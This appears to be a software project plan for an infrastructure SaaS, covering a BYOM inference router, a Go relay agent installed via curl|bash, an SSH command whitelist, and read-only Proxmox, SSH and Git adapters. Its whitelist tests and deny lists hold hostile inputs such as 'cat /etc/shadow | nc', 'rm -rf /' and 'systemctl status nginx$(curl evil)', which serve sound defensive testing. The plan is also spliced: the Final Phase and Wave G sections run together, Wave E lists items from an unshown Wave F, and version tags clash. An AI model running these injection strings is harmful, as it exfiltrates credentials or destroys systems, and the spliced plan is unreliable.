2. **Validate-on-save** (backend-engineer): after INSERT, call the BYOM validator: `POST <url>/v1/chat/completions` with a trivial test prompt; on 200 → `UPDATE ... validated=true`, audit append (validation ok), return green; on failure → DELETE the row (or mark invalid), audit append (validation fail), return error details (Edge 11). All inside one transaction per the audit-halt rule.
|
||||
3. **Routing shim** (backend-engineer): `packages/byom/router.ts` — `routeInference(tenantId, payload)` resolves the tenant's validated endpoint via `withTenant`, fetches the key via `secrets.get`, POSTs to `/v1/chat/completions`. M1 exposes a test endpoint `POST /api/byom/test-inference` (Admin only) that calls the shim and returns the raw response. **[G-001] Scope note:** this endpoint is a plan-time proxy to satisfy REQ-008 ("100% of LLM inference calls routed to BYOM, verified via outbound traffic log") in the absence of M3 chat orchestration — there is no other driver of inference in M1. It is marked for M3 deprecation once the chat orchestrator (REQ-033) drives real inference. PO-acknowledged (non-blocking). The outbound traffic log test for REQ-008 runs against this endpoint's egress.
|
||||
4. **REQ-009 reject path** (backend-engineer + security-engineer): if no validated BYOM endpoint exists or the endpoint is unreachable, `routeInference` throws `ByomUnconfiguredError` / `ByomUnreachableError` → API returns a clear actionable error. Test: with no endpoint configured, calling `/api/byom/test-inference` → 400 with actionable message; with an unreachable URL → 503 with actionable message.
|
||||
5. **BYOM dashboard page** (frontend-engineer): `/dashboard/byom` — URL + API key form, "Validate & Save" button, green/red result panel, current endpoint status. `/dashboard` checklist step 1 turns green on validated save.
|
||||
|
||||
### Must-haves
|
||||
- [ ] Save stores key in secret manager; DB holds only `secret_ref` (test: scan tables for plaintext keys → zero).
|
||||
- [ ] Validation POST hits the configured endpoint; green/red result accurate.
|
||||
- [ ] Routing shim sends 100% of test-inference calls to the configured endpoint (outbound traffic log test).
|
||||
- [ ] REQ-009: unconfigured → 400 actionable; unreachable → 503 actionable. No inference attempted.
|
||||
- [ ] Audit entries for config + validation events.
|
||||
- [ ] Coverage ≥ 80% on `packages/byom` + BYOM routes.
|
||||
|
||||
## Wave D — Relay Agent (Phase 4)
|
||||
|
||||
**Goal:** Modular install script + Go binary + WebSocket registration + heartbeat + auto-reconnect + SSH whitelist hook (no SSH adapter yet).
|
||||
**Depends on:** Wave A (audit, withTenant, relay-token contract from Wave A Task 9 [G-005]), Wave B (auth middleware).
|
||||
**REQs covered:** REQ-010, REQ-011, REQ-012, REQ-013, REQ-026 (partial — whitelist file + hook only; see G-008).
|
||||
**Personas:** go-engineer (phase-specific), backend-engineer (control-plane WS server), security-engineer (sign-off on whitelist hook).
|
||||
|
||||
### Scope note — REQ-026 partial coverage in M1 [G-008]
|
||||
M1 ships REQ-026 **partially**: the whitelist file format + the `CheckCommand` enforcement hook + unit + shadow-exec tests. The spec §4 REQ-026 acceptance criteria (customer generates an SSH keypair; the Relay Agent receives a tool call; only whitelisted commands execute; non-whitelisted rejected + audited) describe **end-to-end SSH-key-auth + tool-call-driven execution**, which is **M2** work (the SSH adapter plugs into the hook shipped here). M1's must-have is the hook + whitelist + tests, NOT end-to-end SSH execution. This matches the REQUIREMENTS.md traceability (REQ-026 deferred to M2; whitelist format + hook ship M1 Wave D).
|
||||
|
||||
### Tasks
|
||||
1. **Tenant registration token endpoint** (backend-engineer): `POST /api/relay/issue-token` (Admin only) — issues the per-tenant registration token defined in Wave A Task 9 [G-005] (signed JWT, `scope: "relay.register"`, 24h). Stores a re-issuance ref via `secrets.put`. The dashboard `/dashboard/relay` page shows the `curl|bash` command with the token embedded.
|
||||
2. **WS server** (backend-engineer): `apps/control-plane/api/relay/ws` — accepts outbound WebSocket, authenticates the tenant token (verify JWT from Wave A Task 9), on `register` message INSERTs `targets (tenant_id, hostname, os, os_version, ip, agent_version, last_seen)` under `withTenant`, audit append. Responds `{registered, targetId}`. Handles `ping` → updates `last_seen` → `pong`.
|
||||
3. **Go binary — WebSocket client** (go-engineer): `apps/relay-agent/main.go` — reads `CORECI_TENANT_TOKEN` + `CORECI_SAAS_URL` from `/etc/coreci/relay.env`, connects `wss://<saas>/api/relay/ws`, sends `register`, then `ping` every 30s. On disconnect: exponential backoff (1/2/4/8/16s), max 5 attempts → alert + keep trying every 60s. systemd `Restart=on-failure` for hard crashes.
|
||||
4. **Install script (modular)** (go-engineer): `scripts/install.sh` with separate functions `detect_os`, `install_binary`, `write_systemd_unit`, `register_target`, `main`. `detect_os` parses `/etc/os-release` (Ubuntu ≥ 24.04, Debian ≥ 12); else exit non-zero with the supported-OS list (Edge 16). `install_binary` downloads the Go binary for the detected arch, verifies SHA256, installs to `/usr/local/bin/coreci-relay-agent`. `write_systemd_unit` writes the unit + `daemon-reload` + `enable --now`. `register_target` writes `/etc/coreci/relay.env` with the tenant token. Idempotent (re-run upgrades).
|
||||
5. **apt fallback** (go-engineer): documented apt package path (same script, `--method=apt` flag). The apt package ships the same binary + unit. (Documented; primary path is curl|bash.)
|
||||
6. **SSH whitelist file + enforcement hook** (go-engineer + security-engineer): `/etc/coreci/ssh-whitelist.json` (versioned schema `{"version": 1, "commands": [...], "arguments": {"deny": [...]}}`; fixed list: cat, ls, systemctl status, journalctl, df, du, ps, top, ss, netstat, ip, uptime, uname, free, who, w, last, dmesg, lscpu, lspci, lsblk, mount, findmnt, hostname, "ip addr", "ip route", "ss -tlnp"; argument deny list: -exec, -execdir, --exec, |, >, >>, &, ;, &&, ||). `apps/relay-agent/whitelist/check.go` — `CheckCommand(cmd string) error` parses the command, checks base + args, returns error if rejected. Unit tests: every whitelist command passes; `rm -rf`, `find -exec`, `cat /etc/shadow | nc` all rejected. **[G-004] Contract lock:** the `CheckCommand(cmd string) error` signature + the whitelist JSON schema are the **M2 SSH adapter contract**. M2 must consume them as-shipped; any signature change requires a documented migration with a compatibility shim. **[G-003] Pre-investment for M2:** shipping the hook now means M2's SSH adapter plugs in without reworking the enforcement boundary; the cost is justified by avoiding the "retrofit = rewrite" risk the PO flagged. **[G-007] Shadow `exec.Cmd` integration test:** a Go test that constructs `exec.Command("systemctl", "status", "nginx")` from a parsed whitelist command and asserts `CheckCommand` accepts it (positive), plus a negative test that `exec.Command("rm", "-rf", "/")` is rejected by `CheckCommand` *before* the Cmd would be started — proving the hook composes with `os/exec` without a live SSH server. No SSH execution path in M1 — M2 plugs the adapter into `CheckCommand`.
|
||||
|
||||
### Must-haves
|
||||
- [ ] Install script on Ubuntu 24.04 succeeds (exit 0, systemd service running, agent connected within 60s).
|
||||
- [ ] Install script on Debian 12+ succeeds (same).
|
||||
- [ ] **[G-009] Install script on ≥2 unsupported OSes aborts cleanly** with the supported-OS list (Edge 16): at minimum one non-Debian-family (e.g., Fedora or Alpine) AND one wrong-version Debian-family (e.g., Ubuntu 22.04 or Debian 11). Single-OS "unsupported" is not sufficient evidence.
|
||||
- [ ] Re-running the script upgrades, does not fail.
|
||||
- [ ] Relay Agent registers with full metadata (tenant/target/hostname/OS/IP/version); audit entry written.
|
||||
- [ ] Heartbeat updates `last_seen`; dashboard can read it (Wave E surfaces this).
|
||||
- [ ] Auto-reconnect: kill the WS server, agent retries with backoff, max 5 → alert; restart server → agent reconnects.
|
||||
- [ ] `CheckCommand`: every whitelist command passes; every deny-list case rejected. Coverage 100% on the whitelist module.
|
||||
- [ ] **[G-007] Shadow `exec.Cmd` test:** positive (`systemctl status nginx` accepted, composes to `exec.Command`) + negative (`rm -rf /` rejected pre-start) both pass.
|
||||
- [ ] Whitelist file format is versioned (JSON `{"version": 1, ...}`). [G-004]
|
||||
- [ ] `CheckCommand(cmd string) error` signature + whitelist JSON schema documented as the M2 contract. [G-004]
|
||||
|
||||
## Wave E — Dashboard surfacing (Phase 5)
|
||||
|
||||
**Goal:** Dashboard shows Relay Agent health (green/yellow/red), target hostname, last 100 log lines, per-tenant view under RLS. M1 gate demo path complete.
|
||||
**Depends on:** Wave B (auth, dashboard shell), Wave D (Relay Agent + WS server).
|
||||
**REQs covered:** REQ-014.
|
||||
**Personas:** frontend-engineer, backend-engineer.
|
||||
|
||||
### Tasks
|
||||
1. **Status fan-out WebSocket** (backend-engineer): `apps/control-plane/api/relay/status` — Admin-authenticated WS that pushes target status changes (health, last_seen, log lines) to connected dashboard clients. Status computed from `targets.last_seen` (green < 60s, yellow < 5min, red > 5min).
|
||||
2. **Targets list page** (frontend-engineer): `/dashboard/targets` — server component fetches targets via the API (under RLS), renders rows (hostname, OS, IP, version, health badge, last-seen, "View logs"). Client component subscribes to the status WS for live updates.
|
||||
3. **Target detail page** (frontend-engineer): `/dashboard/targets/<id>` — health badge, registration metadata, last 100 log lines (streamed). Under RLS (T1 admin cannot view T2's target — pen-test asserts).
|
||||
4. **Onboarding checklist completion** (frontend-engineer): `/dashboard` checklist step "Verify Green Status" turns green when at least one target is green. The M1 demo path (SSO → BYOM green → install → register → green dashboard) is end-to-end walkable.
|
||||
5. **Audit export** (backend-engineer + frontend-engineer): `/dashboard/audit` — admin-only "Download CSV" button. No query UI (spec §2.2). CSV scoped to the tenant under RLS.
|
||||
|
||||
### Must-haves
|
||||
- [ ] Dashboard shows a registered target as green within 90s of first heartbeat.
|
||||
- [ ] Killing the agent → badge turns yellow then red as `last_seen` ages.
|
||||
- [ ] Restarting the agent → badge turns green again.
|
||||
- [ ] T1 admin cannot view T2's target (RLS pen-test asserts).
|
||||
- [ ] Last 100 log lines render on the target detail page.
|
||||
- [ ] Audit CSV export is tenant-scoped (no cross-tenant rows).
|
||||
- [ ] The full M1 Happy Path (UX §2) is walkable end-to-end.
|
||||
- [ ] Closed tool registry: 9 tools with `name`, `description`, `inputSchema` (JSON Schema per MCP 2025-06-18).
|
||||
- [ ] Write-method blocklist: 100% of write attempts rejected at broker with 403 + audit event, adapter never invoked (test per adapter type with stubs).
|
||||
- [ ] Rate limiter: 60/min user + 300/min tenant enforced, HTTP 429 + `Retry-After`, refund-on-tenant-fail, no audit on 429.
|
||||
- [ ] SSE stream: per-call, ULID correlation IDs, terminal events `done`/`error`, 30s stream-not-opened timeout (R-006), <100ms chunk delivery.
|
||||
- [ ] Client disconnect (Edge 8): in-flight adapter call cancelled, no audit event for client-side cancellation.
|
||||
- [ ] Multi-target: ≥2 same-type adapters without `target_id` → HTTP 400 "target required" with available targets list.
|
||||
- [ ] MCP conformance artifact: `PROTOCOL.md` + 6 tests passing (gate item 15).
|
||||
- [ ] Synthetic `initialize`/`initialized` handshake for in-process adapters (R-001).
|
||||
- [ ] OpenAI↔MCP translator: `tool_calls` → `tools/call` (with `JSON.parse(arguments)`); `result.content + isError` → tool message.
|
||||
- [ ] `mcp_adapters` table with RLS (tenant-scoped, verified against real Postgres 16 in CI per Wave 0).
|
||||
- [ ] Audit events: `adapter.configured`, `adapter.test_connection.{succeeded,failed}`, `adapter.capability_invoked`, `adapter.write_rejected` — all hash-chained via M1 `appendAudit`.
|
||||
- [ ] Coverage ≥ 80% on `packages/mcp`.
|
||||
- [ ] M1 non-regression: all M1 tests still pass.
|
||||
- [ ] Security-engineer sign-off on write-method blocklist + INV-7 at broker (blocks ship on P0/P1 finding).
|
||||
|
||||
---
|
||||
|
||||
## Final Phase — Review + Ship (Phase 6)
|
||||
## Wave G — Proxmox adapter (Phase 2)
|
||||
|
||||
**Goal:** Multi-persona code review + project health audit + milestone ship (v0.1.0 release, merge to main).
|
||||
**REQs covered:** all M1 (sign-off).
|
||||
**Goal:** Read-only Proxmox VE adapter with PVEAuditor role validation. 3 capabilities: `proxmox.list_vms` (inventory), `proxmox.get_vm_status` (live), `proxmox.get_node_metrics` (live).
|
||||
**Depends on:** Wave F (broker).
|
||||
**REQs covered:** REQ-020, REQ-025.
|
||||
**Personas:** backend-engineer (adapter), security-engineer (sign-off on PVEAuditor validation + write-blocklist).
|
||||
**Patch tag:** `v0.1.2`. **Branch:** `phase/02-proxmox-adapter`.
|
||||
|
||||
### Tasks
|
||||
1. **Code review** (lead-developer + all personas): review all changes in `milestone/v0.1-bootstrap` since `main`. Auto-apply P0 fixes; flag P1+ for post-hoc.
|
||||
2. **Audit** (lead-developer): reconstruction test (git log matches `.ciagent/` files); file/branch/commit discipline; cross-tenant pen test runs green; install script runs on the 3 OS cases (Ubuntu 24.04 pass, Debian 12+ pass, unsupported abort).
|
||||
3. **M1 acceptance gate verification** (lead-developer): spec §2.3 — Platform Lead can SSO → BYOM green → install → register → green dashboard. Audit/RLS/secrets operational.
|
||||
4. **Milestone ship**: tag `v0.0.7` (final phase patch = v0.1 milestone release); merge `phase/06` → `milestone/v0.1-bootstrap` → `main`; create Gitea release with full milestone summary; build + upload Relay Agent binaries (linux amd64/arm64) + install script + apt package.
|
||||
5. **Complete**: mark all M1 REQs complete in REQUIREMENTS.md; mark milestone complete in ROADMAP.md; clear checkpoint.
|
||||
|
||||
### M1 review deliverables (per Sarah's kickoff)
|
||||
1. Per-REQ pass/fail test report with evidence (17 REQs).
|
||||
2. Demo recording: fresh tenant → SSO → BYOM green → install → register → green dashboard.
|
||||
3. Cross-tenant isolation pen test result (zero leakage).
|
||||
4. Install script logs: Ubuntu 24.04 (pass), Debian 12+ (pass), unsupported OS (clean abort).
|
||||
1. **`packages/mcp/adapters/proxmox/client.ts`** (backend-engineer)
|
||||
- PVE API client (HTTPS, port 8006, cookie/token auth). Uses API Token auth (NOT ticket/cookie — stateless, no 2h expiry, no CSRF needed for tokens per R-002): `Authorization: PVEAPIToken=USER@REALM!TOKENID=UUID` header on every GET.
|
||||
- `pveGet(host, token, path, allowSelfSigned)`: global `fetch` with `AbortSignal.timeout(10_000)` (10s upstream NFR, mirrors `packages/byom/src/validator.ts` pattern). `allowSelfSigned` per-adapter config flag → `https.Agent({rejectUnauthorized: false})` for customer PVE labs (R-002 pitfall).
|
||||
- Unwrap `{data: <payload>}` response shape. Check both `!res.ok` AND `body.data === null` (PVE returns null data for some not-found cases). 5xx → HTTP 502/504 to caller (transient upstream error, NOT write rejection).
|
||||
- Endpoints (R-002, verified): `GET /api2/json/nodes`, `GET /api2/json/nodes/{node}/qemu`, `GET /api2/json/nodes/{node}/qemu/{vmid}/status/current`, `GET /api2/json/nodes/{node}/status`. **Pitfall:** `/api2/json/qemu` is NOT a valid endpoint (qemu is under a node). No version branching needed (endpoints stable PVE 6.x–8.x, R-002).
|
||||
|
||||
2. **`packages/mcp/adapters/proxmox/adapter.ts`** (backend-engineer)
|
||||
- Implements the 3 capabilities (GET endpoints only — never POST/PUT/DELETE):
|
||||
- `proxmox.list_vms` (inventory): `GET /api2/json/nodes/{node}/qemu` (requires `node` arg; returns VMs on that node). `inputSchema: {node: string (required)}`.
|
||||
- `proxmox.get_vm_status` (live): `GET /api2/json/nodes/{node}/qemu/{vmid}/status/current`. `inputSchema: {node: string, vmid: integer}`.
|
||||
- `proxmox.get_node_metrics` (live): `GET /api2/json/nodes/{node}/status`. `inputSchema: {node: string}`.
|
||||
- Registers via synthetic `initialize` handshake (Wave F transport). Responds to `tools/list` with the 3 proxmox tools; responds to `tools/call` with `{content:[{type:"text", text: JSON.stringify(normalizedResult)}], isError:false}`.
|
||||
|
||||
3. **`packages/mcp/adapters/proxmox/validate.ts`** (backend-engineer + security-engineer)
|
||||
- PVEAuditor role validation at submit time (REQ-025, R-002): call `GET /api2/json/version` (any valid token) → token is valid; then `GET /api2/json/nodes` → token has at least `Sys.Audit` (read access). If both succeed → `validated=true`. If either fails → HTTP 422 with role-violation error, no config persisted.
|
||||
- **R-002 documented gap:** PVE has no clean "what role does this token have" introspection endpoint. The broker validates "token works for reads," NOT "token lacks writes." True `PVEAuditor` enforcement is the operator's responsibility at token creation time. Document in the Settings → Adapters UI help text: "Create a token with PVEAuditor role. The broker validates read access; the write-method blocklist (POST/PUT/DELETE → 403) is the load-bearing safety boundary." Confidence 0.70 on this sub-point.
|
||||
- Record the PVE version (from `GET /api2/json/version` during `test_connection`) in the `mcp_adapters.config` JSON column for diagnostics. No version branching (R-002).
|
||||
|
||||
4. **SecretProvider integration for Proxmox token (INV-3)** (backend-engineer)
|
||||
- `SecretProvider.put(tenantId, "proxmox:<targetId>", token)` on config; `SecretProvider.get` on invocation. DB stores only `secret_ref`. Token never logged; `SecretValue.unwrap()` passed directly to the fetch `Authorization` header.
|
||||
|
||||
5. **Audit events for Proxmox adapter** (backend-engineer)
|
||||
- `adapter.configured` (on save), `adapter.test_connection.{succeeded,failed}` (on "Test connection"), `adapter.capability_invoked` (on each capability call, with `correlation_id`, params hash, result status), `adapter.write_rejected` (if POST/PUT/DELETE somehow reached the broker — belt-and-suspenders). All via M1 `appendAudit`.
|
||||
|
||||
6. **Tests** (backend-engineer + security-engineer)
|
||||
- Mock PVE API (no live Proxmox in CI — use a mock fetch responder). Validate the 3 capabilities call only GET endpoints. Validate write-method blocklist: POST/PUT/DELETE → 403 + `adapter.write_rejected` at broker (adapter never invoked). Validate PVEAuditor validation: token failing `GET /version` → 422; token failing `GET /nodes` (no `Sys.Audit`) → 422. Validate 5xx from PVE → HTTP 502/504 (not write rejection). Validate `allowSelfSigned` flag.
|
||||
|
||||
7. **Inventory TTL cache (60s, LRU) for `proxmox.list_vms`** (backend-engineer)
|
||||
- In-memory cache keyed by `(tenantId, targetId, toolName, argsHash)`. `list_*` capabilities cached for 60s; live capabilities (`get_vm_status`, `get_node_metrics`) never cached. Cache hit → return cached result with staleness metadata (`cachedAt: timestamp`) so the SSE event / UI can show "cached Xs ago."
|
||||
|
||||
### Must-haves
|
||||
- [ ] 3 capabilities call only GET endpoints (never POST/PUT/DELETE).
|
||||
- [ ] PVEAuditor validation: token validated at submit (`GET /version` + `GET /nodes`); UI documents the introspection gap (R-002).
|
||||
- [ ] Token stored via `SecretProvider.put`; DB holds only `secret_ref`.
|
||||
- [ ] Write-method blocklist: POST/PUT/DELETE → 403 + `adapter.write_rejected` audit event at broker (adapter never invoked).
|
||||
- [ ] Inventory cache: `list_vms` served from 60s TTL cache on repeat calls; staleness surfaced.
|
||||
- [ ] Coverage ≥ 80% on `packages/mcp/adapters/proxmox`.
|
||||
- [ ] PVE 7.x and 8.x supported (no version branching needed per R-002).
|
||||
- [ ] Security-engineer sign-off on PVEAuditor validation + write-blocklist.
|
||||
|
||||
---
|
||||
|
||||
## Wave H — SSH/Linux adapter (Phase 3)
|
||||
|
||||
**Goal:** Read-only SSH/Linux adapter via M1 Relay Agent. `ssh.run_whitelisted_command` capability. Defense-in-depth: broker validates command (layer 1) + Relay Agent `CheckCommand` (layer 2). **Full REQ-026** (M1 shipped the hook; M2 plugs the adapter in).
|
||||
**Depends on:** Wave F (broker), M1 Relay Agent.
|
||||
**REQs covered:** REQ-021, REQ-026 (full).
|
||||
**Personas:** go-engineer (Wave H only — Relay Agent integration), backend-engineer (TS SSH adapter module), security-engineer (sign-off on defense-in-depth).
|
||||
**Patch tag:** `v0.1.3`. **Branch:** `phase/03-ssh-adapter`.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **`packages/mcp/adapters/ssh/whitelist-check.ts`** (backend-engineer + security-engineer)
|
||||
- Broker-side whitelist validation (layer 1): validates `command` against the 6-command subset BEFORE dispatch to the Relay Agent (REQ-021, defense-in-depth layer 1).
|
||||
- 6 commands (spec §7 Q3, conservative subset of M1's broader whitelist):
|
||||
- `uptime` — exact match (no args).
|
||||
- `df -h` — exact match.
|
||||
- `free -m` — exact match.
|
||||
- `systemctl status <svc>` — prefix `systemctl status ` + service name (regex `^[a-zA-Z0-9_.-]+$`, max 64 chars — **pitfall:** sanitize to prevent injection like `systemctl status nginx; rm -rf /`).
|
||||
- `journalctl -n <N>` — `journalctl -n ` + integer 1-500 (regex `^journalctl -n ([1-9][0-9]{0,2}|500)$`).
|
||||
- `systemctl list-units --type=service` — exact match.
|
||||
- `validateSshCommand(command: string): {ok: boolean, reason?: string}`. **Independent TS implementation** from the Go `CheckCommand` (R-003: two independent codepaths so a bug in one doesn't bypass the other). Layer 1 (6 commands) is stricter than layer 2 (M1's broader whitelist) — correct defense-in-depth.
|
||||
- On rejection: HTTP 403 + `adapter.write_rejected` audit event; Relay Agent never reached.
|
||||
|
||||
2. **`packages/mcp/adapters/ssh/adapter.ts`** (backend-engineer)
|
||||
- TS SSH adapter module; MCP `tools/call` in-process (Wave F transport), then sends a `tool_call` WebSocket message to the M1 Relay Agent (downstream WebSocket — D-007: the MCP JSON-RPC layer is in-process; the WebSocket to the Relay Agent is downstream transport, does not affect MCP conformance).
|
||||
- `ssh.run_whitelisted_command` (live): `inputSchema: {command: string}`. Broker validates (layer 1) → resolve adapter → send `tool_call` over WebSocket to the connected Relay Agent for `target_id` → receive `tool_result` → return MCP result.
|
||||
- Target routing (R-003): reverse index `targetsByTenant: Map<tenantId, Map<targetId, WebSocket>>` built on the M1 `connectedAgents` registry in `ws-server.ts`. If target offline → HTTP 404 (do NOT queue the call). Verify target belongs to the same tenant (RLS — `withTenant` + targets table `tenant_id`).
|
||||
|
||||
3. **`apps/relay-agent/wsclient/handler.go`** (go-engineer) [G-021]
|
||||
- **[G-021] Reader goroutine restructure:** the M1 reader goroutine (`apps/relay-agent/wsclient/client.go:182-203`) currently unmarshals every message as `pongMessage` and `continue`s on parse failure — `tool_call` messages are silently dropped today. M2 must restructure the reader goroutine to **dispatch on `type` field BEFORE unmarshaling into a specific struct**: read `type` from the raw JSON, route `pong` to the existing handler, route `tool_call` to the new handler. The heartbeat `pongArrived` signaling must not break.
|
||||
- Add `tool_call` message handler. Handler receives `{type:"tool_call", callId, command, timeoutMs}`, calls `CheckCommand(command)` (M1 G-004 contract, layer 2 — **signature `CheckCommand(cmd string) error` UNCHANGED**), executes via `exec.Command` with split argv (**NO shell** — `exec.Command("systemctl", "status", "nginx")`, never `sh -c "..."` — third enforcement layer against shell injection).
|
||||
- Returns `{type:"tool_result", callId, stdout, stderr, exitCode}` (success) or `{type:"tool_result", callId, error:"whitelist rejected: ...", exitCode:-1}` (CheckCommand rejection) or `{type:"tool_result", callId, error:"timeout after 10s", exitCode:-1}` (timeout).
|
||||
- 9.5s `exec.Command` timeout (R-003: agent times out 0.5s before the broker's 10s timeout so the agent returns a timeout result before the broker gives up → SSE stream closes cleanly).
|
||||
|
||||
4. **`apps/relay-agent/main.go`** (go-engineer)
|
||||
- Wire the `tool_call` handler into the WebSocket message router. M1 non-regression: the `register`/`ping`/`pong` paths must continue to work; the heartbeat loop must not break.
|
||||
|
||||
5. **Cross-layer SSH test — divergence matrix (R-003)** (security-engineer) [G-013]
|
||||
- **[G-013] Divergence matrix** (not just both-reject — also both-accept and divergence cases):
|
||||
(a) Both reject `rm -rf /` (existing — `rm` not in 6-command subset at broker; `rm` not in M1 whitelist at Go).
|
||||
(b) Both accept `systemctl status nginx` (new — proves both layers agree on a valid command).
|
||||
(c) Broker rejects `systemctl status nginx rm -rf /` (regex fails on spaces in service name) — assert Go **also** rejects (currently Go accepts because `rm` is not in the deny list and the prefix `systemctl status` matches). **Fix:** tighten the Go deny list to include bare `rm` OR validate `systemctl status` trailing tokens against `^[a-zA-Z0-9_.-]+$` (matching the broker's regex). Choose option (ii) — validate trailing tokens — to make the two layers semantically equivalent for the 6-command subset.
|
||||
(d) Go accepts `systemctl status nginx$(curl evil)` (deny list misses `$()`) — assert broker rejects (regex fails). Document that `exec.Command` with split argv runs `nginx$(curl evil)` as a literal service name (no shell expansion), so the Go layer is saved by the no-shell third layer, but the divergence is real and must be documented.
|
||||
- All 4 cases pass on both layers; Go deny list / trailing-token validation tightened per (c).
|
||||
|
||||
6. **M1-relay-WS regression test (G-021)** (go-engineer + security-engineer)
|
||||
- **[G-021]** Test asserting `register`→`registered` and `ping`→`pong` still work after the `tool_call` case is added to `ws-server.ts` `handleMessage` switch and the Go reader goroutine is restructured. This is an M1-non-regression test for the shared M1 files Wave H edits.
|
||||
|
||||
6. **10s upstream timeout** (backend-engineer + go-engineer)
|
||||
- Broker: `AbortController` 10s on the `tool_call` → `tool_result` round-trip. On timeout → SSE `error` terminal event with "upstream timeout" + HTTP 504 semantics.
|
||||
- Agent: `exec.Command` 9.5s context timeout (R-003 — agent times out first).
|
||||
|
||||
7. **SecretProvider integration for SSH registration token (INV-3)** (backend-engineer)
|
||||
- `SecretProvider.put(tenantId, "ssh:<targetId>", relayRegistrationToken)` on config. The SSH adapter uses the M1 Relay Agent's existing auth (the registration token resolves to a connected target; the broker routes `tool_call` to that target's WebSocket).
|
||||
|
||||
8. **Audit events for SSH adapter** (backend-engineer)
|
||||
- `adapter.configured` (on save), `adapter.test_connection.{succeeded,failed}` (on "Test connection" — e.g., ping the target via `uptime`), `adapter.capability_invoked` (on each `ssh.run_whitelisted_command` call, with `correlation_id`, command hash, result status), `adapter.write_rejected` (on broker layer-1 rejection).
|
||||
|
||||
### Must-haves
|
||||
- [ ] Broker validates `command` against 6-command subset BEFORE dispatch (layer 1).
|
||||
- [ ] Relay Agent `CheckCommand` validates at execution (layer 2, M1 G-004 contract unchanged).
|
||||
- [ ] **[G-013]** Cross-layer divergence matrix (R-003): all 4 cases pass — both-reject `rm -rf /`, both-accept `systemctl status nginx`, broker-rejects-Go-also-rejects `systemctl status nginx rm -rf /` (after Go tightening), Go-accepts-broker-rejects `systemctl status nginx$(curl evil)` (documented divergence).
|
||||
- [ ] **[G-021]** M1-relay-WS regression test: `register`→`registered` + `ping`→`pong` still work after `tool_call` addition + reader goroutine restructure.
|
||||
- [ ] `tool_call` WebSocket message type added to Relay Agent (clean extension of M1 protocol; `register`/`ping`/`pong` still work).
|
||||
- [ ] `CheckCommand(cmd string) error` signature UNCHANGED (G-004 contract lock).
|
||||
- [ ] No shell in Go executor (`exec.Command` with split argv).
|
||||
- [ ] 10s broker timeout + 9.5s agent exec timeout.
|
||||
- [ ] `ssh.run_whitelisted_command` returns whitelisted command output via SSE.
|
||||
- [ ] Coverage ≥ 80% on `packages/mcp/adapters/ssh` + relay-agent additions.
|
||||
- [ ] Security-engineer sign-off on defense-in-depth (blocks ship on P0/P1 finding).
|
||||
- [ ] go-engineer persona removed after Wave H ships; `apps/relay-agent/**` territory reverts to backend-engineer for M2 follow-up.
|
||||
|
||||
---
|
||||
|
||||
## Wave I — Git adapters (Phase 4)
|
||||
|
||||
**Goal:** Read-only GitHub + Gitea adapters. 5 capabilities: `github.list_repos`, `github.get_recent_ci_runs`, `github.get_workflow_run`, `gitea.list_repos`, `gitea.get_recent_ci_runs`.
|
||||
**Depends:** Wave F (broker).
|
||||
**REQs covered:** REQ-022, REQ-023, REQ-027.
|
||||
**Personas:** backend-engineer (adapters), security-engineer (sign-off on scope validation).
|
||||
**Patch tag:** `v0.1.4`. **Branch:** `phase/04-git-adapters`.
|
||||
|
||||
### Tasks
|
||||
|
||||
1. **`packages/mcp/adapters/github/client.ts`** (backend-engineer)
|
||||
- GitHub REST API client (fine-grained PAT, `Authorization: Bearer <token>`, `Accept: application/vnd.github+json`, `X-GitHub-Api-Version: 2022-11-28` — stable GA version per R-004). Global `fetch` with `AbortSignal.timeout(10_000)`.
|
||||
- `ghGet(path, token, query?)`: rate limit handling — observe `x-ratelimit-remaining`; if 0, do NOT make the call, return HTTP 429 to caller with `Retry-After: <seconds until x-ratelimit-reset>`. If GitHub returns 429 (or 403 with `x-ratelimit-remaining: 0`), back off exponentially (1s, 2s, 4s, max 3 retries) then surface 429.
|
||||
- 403 with `X-Accepted-GitHub-Permissions` header (e.g., `actions=read` required) → `GithubScopeError` → broker surfaces HTTP 403 "insufficient scope" + `adapter.capability_invoked` with `result=failure` (NOT `write_rejected` — no write attempted; this is a scope mismatch, R-004).
|
||||
|
||||
2. **`packages/mcp/adapters/github/adapter.ts`** (backend-engineer)
|
||||
- 3 capabilities (GET endpoints only):
|
||||
- `github.list_repos` (inventory): `GET /user/repos?per_page=100`. Normalize to `{id, name, full_name, owner, private, description, html_url, default_branch, updated_at}`. `inputSchema: {}` (first page; multi-page is M3, R-004).
|
||||
- `github.get_recent_ci_runs` (live): `GET /repos/{owner}/{repo}/actions/runs?per_page={per_page}`. Normalize to `{total_count, runs:[{id, head_branch, status, conclusion, html_url, created_at, actor}]}`. `inputSchema: {owner: string, repo: string, per_page?: integer (default 30, max 100), status?: string, branch?: string}`.
|
||||
- `github.get_workflow_run` (live): `GET /repos/{owner}/{repo}/actions/runs/{run_id}`. `inputSchema: {owner, repo, run_id: integer}`.
|
||||
|
||||
3. **`packages/mcp/adapters/github/validate.ts`** (backend-engineer + security-engineer)
|
||||
- Fine-grained PAT validation (D-006, R-004):
|
||||
1. **Detect classic vs fine-grained:** classic PATs start with `ghp_`/`gho_`/`ghu_`; fine-grained start with `github_pat_`. Reject classic PATs at submit → HTTP 422 "fine-grained PAT required" (D-006: classic `repo` scope grants write).
|
||||
2. **Validate token works + `metadata:read`:** `GET /user` with token. 401 → invalid token (HTTP 422). 200 → token valid; all fine-grained PATs require `metadata:read` implicitly, so a successful `GET /user` implies `metadata:read`.
|
||||
3. **`actions:read` validated per-invocation:** when `github.get_recent_ci_runs`/`get_workflow_run` is called, if GitHub returns 403 with `X-Accepted-GitHub-Permissions` indicating `actions=read` required → HTTP 403 "insufficient scope" + audit `adapter.capability_invoked` with `result=failure`. Submit-time best effort (R-004 gap documented in UI help text: "ensure the PAT has `actions:read`").
|
||||
|
||||
4. **`packages/mcp/adapters/gitea/client.ts`** (backend-engineer)
|
||||
- Gitea REST API client (`Authorization: token <token>` — **pitfall:** Gitea uses `token` not `Bearer`, R-005). Base URL = customer's Gitea host (`https://gitea.example.com/api/v1/`). `allowSelfSigned` per-adapter flag (customer Gitea often self-signed).
|
||||
|
||||
5. **`packages/mcp/adapters/gitea/adapter.ts`** (backend-engineer)
|
||||
- 2 capabilities (GET endpoints only — no `gitea.get_workflow_run` in M2, deferred to v1.2+ per Q2):
|
||||
